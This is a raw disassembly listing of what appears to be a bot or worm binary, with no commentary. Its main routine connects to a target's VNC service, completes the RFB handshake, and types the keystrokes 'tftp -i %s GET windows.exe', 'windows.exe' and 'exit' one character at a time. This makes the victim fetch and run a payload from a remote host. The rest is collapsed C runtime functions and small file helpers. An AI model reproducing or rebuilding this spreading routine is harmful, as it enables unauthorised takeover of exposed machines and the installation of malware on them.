loc_41DD90:				; CODE XREF: sub_41DCBE+B7j
		mov	esi, [ebp+arg_0]
		push	ebx
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	dword_4441A0	; send
		lea	eax, [ebp+var_C]


loc_41DDA4:				; CODE XREF: sub_41DCBE+D0j
		push	ebx
		push	1
		push	eax
		push	esi
		call	dword_4441A0	; send
		push	[ebp+Str]	; Str
		call	_strlen
		cmp	eax, 2
		pop	ecx
		push	ebx
		jnz	short loc_41DDC5
		push	4
		lea	eax, [ebp+var_14]
		jmp	short loc_41DDCA
; ---------------------------------------------------------------------------


loc_41DDC5:				; CODE XREF: sub_41DCBE+FEj
		push	5
		lea	eax, [ebp+var_1C]


loc_41DDCA:				; CODE XREF: sub_41DCBE+105j
		push	eax
		push	esi
		call	dword_4441A0	; send
		push	ebx
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	[ebp+Str]
		push	esi
		call	dword_4441A0	; send


loc_41DDE7:				; CODE XREF: sub_41DCBE+B4j
					; sub_41DCBE+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DCBE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aRfb003_008	; "RFB 003.008\n"
		lea	edi, [ebp-3Ch]
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_439548
		lea	edi, [ebp-24h]
		movsw
		movsb
		mov	esi, offset dword_439520
		lea	edi, [ebp-2Ch]
		movsd
		movsb
		mov	esi, offset dword_439544
		lea	edi, [ebp-18h]
		movsw
		movsb
		mov	esi, offset dword_439540
		lea	edi, [ebp-10h]
		movsw
		xor	ebx, ebx
		push	ebx
		push	1
		movsb
		push	2
		mov	word ptr [ebp-14h], 1
		mov	word ptr [ebp-20h], 1
		mov	word ptr [ebp-1Ch], 72h
		xor	edi, edi
		call	dword_444100	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp-8], esi
		jnz	short loc_41DE61
		push	eax
		call	dword_444218	; closesocket


loc_41DE61:				; CODE XREF: .text:0041DE58j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-4Ch], 2
		call	dword_44417C	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		call	dword_444260	; htons
		mov	[ebp-4Ah], ax
		push	10h
		lea	eax, [ebp-4Ch]
		push	eax
		push	esi
		call	dword_4440AC	; connect
		test	eax, eax
		jnz	loc_41E113
		jmp	loc_41E18C
; ---------------------------------------------------------------------------


loc_41DE9E:				; CODE XREF: .text:0041E1B1j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DED5
		mov	eax, edi
		sub	eax, ebx
		jz	loc_41E153
		dec	eax
		jz	loc_41E121
		dec	eax
		jnz	loc_41E183
		lea	eax, [ebp-2Ch]
		push	eax
		lea	eax, [ebp-8Ch]
		push	eax
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_41E113


loc_41DED5:				; CODE XREF: .text:0041DEA1j
					; .text:0041E186j ...
		push	ebx
		push	1
		lea	eax, [ebp-20h]
		push	eax
		push	esi
		call	dword_4441A0	; send
		push	1
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	sub_41DCBE
		mov	esi, ds:dword_42B014
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi	; Sleep
		push	ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [ebp-8]
		call	sub_41DCBE
		add	esp, 0Ch
		push	edi
		call	esi	; Sleep
		push	2
		lea	eax, [ebp-18h]
		push	eax
		push	dword ptr [ebp-8]
		call	sub_41DCBE
		add	esp, 0Ch
		push	edi
		call	esi	; Sleep
		push	offset byte_4434D8
		mov	[ebp-4], ebx
		call	_strlen
		test	eax, eax
		pop	ecx
		mov	ebx, offset aC_2 ; "%c"
		jbe	short loc_41DF7D


loc_41DF3E:				; CODE XREF: .text:0041DF7Bj
		mov	eax, [ebp-4]
		movsx	eax, byte_4434D8[eax]
		push	eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	3
		push	eax
		call	__snprintf
		push	0
		lea	eax, [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-8]
		call	sub_41DCBE
		add	esp, 1Ch
		push	7Dh
		call	esi	; Sleep
		inc	dword ptr [ebp-4]
		push	offset byte_4434D8
		call	_strlen
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41DF3E


loc_41DF7D:				; CODE XREF: .text:0041DF3Cj
		push	0
		lea	eax, [ebp-10h]
		push	eax
		push	dword ptr [ebp-8]
		call	sub_41DCBE
		add	esp, 0Ch
		push	7D0h
		call	esi	; Sleep
		push	100h
		push	0
		push	offset byte_4E27F0
		call	_memset
		add	esp, 0Ch
		push	offset aWindows_exe ; "windows.exe"
		push	dword ptr [ebp+8]
		call	sub_4023C9
		pop	ecx
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s GET %s"
		push	0FFh
		push	offset byte_4E27F0
		call	__snprintf
		and	dword ptr [ebp-4], 0
		push	offset byte_4E27F0
		call	_strlen
		add	esp, 18h
		test	eax, eax
		jbe	short loc_41E020


loc_41DFE1:				; CODE XREF: .text:0041E01Ej
		mov	eax, [ebp-4]
		movsx	eax, byte_4E27F0[eax]
		push	eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	3
		push	eax
		call	__snprintf
		push	0
		lea	eax, [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-8]
		call	sub_41DCBE
		add	esp, 1Ch
		push	7Dh
		call	esi	; Sleep
		inc	dword ptr [ebp-4]
		push	offset byte_4E27F0
		call	_strlen
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41DFE1


loc_41E020:				; CODE XREF: .text:0041DFDFj
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp-10h]
		push	eax
		push	dword ptr [ebp-8]
		call	sub_41DCBE
		add	esp, 0Ch
		push	7530h
		call	esi	; Sleep
		and	dword ptr [ebp-4], 0
		push	offset aWindows_exe ; "windows.exe"
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_41E08D


loc_41E04E:				; CODE XREF: .text:0041E08Bj
		mov	eax, [ebp-4]
		movsx	eax, byte ptr aWindows_exe[eax]	; "windows.exe"
		push	eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	3
		push	eax
		call	__snprintf
		push	0
		lea	eax, [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-8]
		call	sub_41DCBE
		add	esp, 1Ch
		push	7Dh
		call	esi	; Sleep
		inc	dword ptr [ebp-4]
		push	offset aWindows_exe ; "windows.exe"
		call	_strlen
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41E04E


loc_41E08D:				; CODE XREF: .text:0041E04Cj
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp-10h]
		push	eax
		push	dword ptr [ebp-8]
		call	sub_41DCBE
		and	dword ptr [ebp-4], 0
		mov	edi, offset aExit ; "exit"
		push	edi
		call	_strlen
		add	esp, 10h
		test	eax, eax
		jbe	short loc_41E0EF


loc_41E0B4:				; CODE XREF: .text:0041E0EDj
		mov	eax, [ebp-4]
		movsx	eax, byte ptr aExit[eax] ; "exit"
		push	eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	3
		push	eax
		call	__snprintf
		push	0
		lea	eax, [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-8]
		call	sub_41DCBE
		add	esp, 1Ch
		push	7Dh
		call	esi	; Sleep
		inc	dword ptr [ebp-4]
		push	edi
		call	_strlen
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41E0B4


loc_41E0EF:				; CODE XREF: .text:0041E0B2j
		push	2
		pop	edi


loc_41E0F2:				; CODE XREF: .text:0041E10Bj
		push	258h
		call	esi	; Sleep
		push	0
		lea	eax, [ebp-10h]
		push	eax
		push	dword ptr [ebp-8]
		call	sub_41DCBE
		add	esp, 0Ch
		dec	edi
		jnz	short loc_41E0F2
		mov	esi, [ebp-8]
		xor	ebx, ebx
		inc	ebx


loc_41E113:				; CODE XREF: .text:0041DE93j
					; .text:0041DECFj ...
		push	esi
		call	dword_444218	; closesocket
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41E121:				; CODE XREF: .text:0041DEAEj
		lea	eax, [ebp-24h]
		push	eax
		lea	eax, [ebp-8Ch]
		push	eax
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41E113
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		push	esi
		call	dword_4441A0	; send
		push	2
		pop	edi
		jmp	short loc_41E18C
; ---------------------------------------------------------------------------


loc_41E153:				; CODE XREF: .text:0041DEA7j
		lea	eax, [ebp-3Ch]
		push	eax
		lea	eax, [ebp-8Ch]
		push	eax
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41E113
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-3Ch]
		push	eax
		push	esi
		call	dword_4441A0	; send
		xor	edi, edi
		inc	edi


loc_41E183:				; CODE XREF: .text:0041DEB5j
		cmp	edi, 3
		jz	loc_41DED5


loc_41E18C:				; CODE XREF: .text:0041DE99j
					; .text:0041E151j
		push	40h
		lea	eax, [ebp-8Ch]
		push	ebx
		push	eax
		call	_memset
		add	esp, 0Ch
		push	ebx
		push	40h
		lea	eax, [ebp-8Ch]
		push	eax
		push	esi
		call	dword_444064	; recv
		cmp	eax, ebx
		jg	loc_41DE9E
		jmp	loc_41DED5
; ---------------------------------------------------------------------------
		align 10h
; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+"	TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+"	TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [000000E9 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND]
; [00000162 BYTES: COLLAPSED FUNCTION _realloc.	PRESS KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION __fsopen.	PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND]
; [00000046 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO	EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD	"+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+"	TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD	"+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _sprintf.	PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION __snprintf. PRESS	KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; [00000005 BYTES: COLLAPSED FUNCTION j__atol. PRESS KEYPAD "+"	TO EXPAND]
; [000000AD BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000124 BYTES: COLLAPSED FUNCTION _strncpy.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000088 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION _fgets. PRESS KEYPAD "+" TO EXPAND]
; [000001AD BYTES: COLLAPSED FUNCTION _strtoxl.	PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _strtoul.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41EC78	proc near		; CODE XREF: sub_40274D+5685p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_42B02C	; DeleteFileA
		test	eax, eax
		jnz	short loc_41EC8E
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		jmp	short loc_41EC90
; ---------------------------------------------------------------------------


loc_41EC8E:				; CODE XREF: sub_41EC78+Cj
		xor	eax, eax


loc_41EC90:				; CODE XREF: sub_41EC78+14j
		test	eax, eax
		jz	short loc_41EC9F
		push	eax
		call	__dosmaperr
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41EC9F:				; CODE XREF: sub_41EC78+1Aj
		xor	eax, eax
		retn
sub_41EC78	endp

; [00000032 BYTES: COLLAPSED FUNCTION _fprintf.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41ECD4	proc near		; CODE XREF: sub_40274D+2F87p
					; sub_40274D+3268p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4434F0, eax
		retn
sub_41ECD4	endp

; [00000023 BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND]
; [00000148 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000002D BYTES: COLLAPSED FUNCTION _strrchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000039 BYTES: COLLAPSED FUNCTION _strncmp.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000BE BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000086 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+"	TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+"	TO EXPAND]
; [000000C1 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+"	TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+"	TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __c_exit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000135 BYTES: COLLAPSED FUNCTION _strncat.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+"	TO EXPAND]
; [00000034 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000B8 BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+"	TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION _wcscat. PRESS KEYPAD "+"	TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION _wcscpy. PRESS KEYPAD "+"	TO EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND]
; [000000A6 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO	EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000121 BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION __fpmath.	PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION __ftol2. PRESS KEYPAD "+"	TO EXPAND]
; [00000005 BYTES: COLLAPSED FUNCTION j__free. PRESS KEYPAD "+"	TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS	KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *).	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn	8
; [00000007 BYTES: COLLAPSED FUNCTION sub_41FEF0. PRESS	KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION ___CxxFrameHandler. PRESS	KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void	*,void *). PRESS KEYPAD	"+" TO EXPAND]
; [000000C5 BYTES: COLLAPSED FUNCTION _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [000000B2 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND]
; [00000019 BYTES: COLLAPSED FUNCTION _CreateFrameInfo(FrameInfo *,void	*). PRESS KEYPAD "+" TO	EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION IsExceptionObjectToBeDestroyed(void *). PRESS KEYPAD "+" TO EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION _FindAndUnlinkFrame(FrameInfo *).	PRESS KEYPAD "+" TO EXPAND]
; [00000059 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo	const *,void *,int,ulong). PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD	"+" TO EXPAND]
; [0000003A BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000011D BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND]
; [00000107 BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42065F	proc near		; CODE XREF: sub_40FDC3+100p
					; sub_419429+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_42B050	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42067F
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		call	__dosmaperr
		pop	ecx


loc_42067B:				; CODE XREF: sub_42065F+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_42067F:				; CODE XREF: sub_42065F+Dj
		test	al, 1
		jz	short loc_4206A0
		test	[esp+arg_4], 2
		jz	short loc_4206A0
		mov	dword_4E28F4, 0Dh
		mov	dword_4E28F8, 5
		jmp	short loc_42067B
; ---------------------------------------------------------------------------


loc_4206A0:				; CODE XREF: sub_42065F+22j
					; sub_42065F+29j
		xor	eax, eax
		retn
sub_42065F	endp

; [00000016 BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+"	TO EXPAND]
; [0000008E BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul.	PRESS KEYPAD "+" TO EXPAND]
; [00000107 BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000095 BYTES: COLLAPSED FUNCTION __aulldvrm. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __alldiv.	PRESS KEYPAD "+" TO EXPAND]
; [000000FB BYTES: COLLAPSED FUNCTION __strupr.	PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _isdigit.	PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _isspace.	PRESS KEYPAD "+" TO EXPAND]
; [000000D5 BYTES: COLLAPSED FUNCTION _tolower.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD	"+" TO EXPAND]
		pop	ecx
		pop	ecx
		retn
; [000001DC BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+"	TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+"	TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+"	TO EXPAND]
; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4210CC	proc near		; CODE XREF: ___endstdiop
		push	1
		call	_flsall
		pop	ecx
		retn
sub_4210CC	endp

; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD	"+" TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init.	PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; [00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+"	TO EXPAND]
; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD	"+" TO EXPAND]
; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS	KEYPAD "+" TO EXPAND]
; [000000DE BYTES: COLLAPSED FUNCTION __filbuf.	PRESS KEYPAD "+" TO EXPAND]
; [000001EE BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS	KEYPAD "+" TO EXPAND]
; [00000168 BYTES: COLLAPSED FUNCTION __openfile. PRESS	KEYPAD "+" TO EXPAND]
; [00000072 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD	"+" TO EXPAND]
; [00000116 BYTES: COLLAPSED FUNCTION __flsbuf.	PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD	"+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND]
; [00000037 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND]
; [000007DA BYTES: COLLAPSED FUNCTION __output.	PRESS KEYPAD "+" TO EXPAND]
off_422AA2	dd offset loc_4224E4	; DATA XREF: __output+85r
		dd offset loc_422354	; jump table for switch	statement
		dd offset loc_422371
		dd offset loc_4223BD
		dd offset loc_4223FE
		dd offset loc_422407
		dd offset loc_422445
		dd offset loc_422526
; [00000090 BYTES: COLLAPSED FUNCTION __ismbcspace. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------
; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_422B83. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_422B6F	proc near		; DATA XREF: .rdata:stru_4396D0o
		xor	eax, eax
		inc	eax
		retn
sub_422B6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B73	proc near		; DATA XREF: .rdata:stru_4396D0o
		mov	esp, [ebp-18h]
sub_422B73	endp ; sp-analysis failed

; [0000000D BYTES: COLLAPSED CHUNK OF FUNCTION sub_422B83. PRESS KEYPAD	"+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION sub_422B83. PRESS	KEYPAD "+" TO EXPAND]
; [0000007E BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
; [0000005F BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD	"+" TO EXPAND]
; [00000088 BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+"	TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+"	TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS.	PRESS KEYPAD "+" TO EXPAND]
; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD	"+" TO EXPAND]
; [000001E6 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+"	TO EXPAND]
; [00000081 BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS	KEYPAD "+" TO EXPAND]
; [00000082 BYTES: COLLAPSED FUNCTION __onexit.	PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+"	TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423257	proc near		; CODE XREF: start:loc_420E00p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_439BE8
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_43A73C


loc_42326A:				; CODE XREF: sub_423257+3Cj
		cmp	[ebp+var_1C], offset dword_43A73C
		jnb	short loc_423295
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42328B
		call	eax	; GetUserNameA
		jmp	short loc_42328B
; ---------------------------------------------------------------------------


loc_423284:				; DATA XREF: .rdata:stru_439BE8o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_423288:				; DATA XREF: .rdata:stru_439BE8o
		mov	esp, [ebp+ms_exc.old_esp]


loc_42328B:				; CODE XREF: sub_423257+27j
					; sub_423257+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_42326A
; ---------------------------------------------------------------------------


loc_423295:				; CODE XREF: sub_423257+1Aj
		call	__SEH_epilog
		retn
sub_423257	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_42329B()

sub_42329B	proc near		; DATA XREF: __cinit:loc_41F181o

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_439BF8
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_43A744


loc_4232AE:				; CODE XREF: sub_42329B+3Cj
		cmp	[ebp+var_1C], offset dword_43A744
		jnb	short loc_4232D9
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
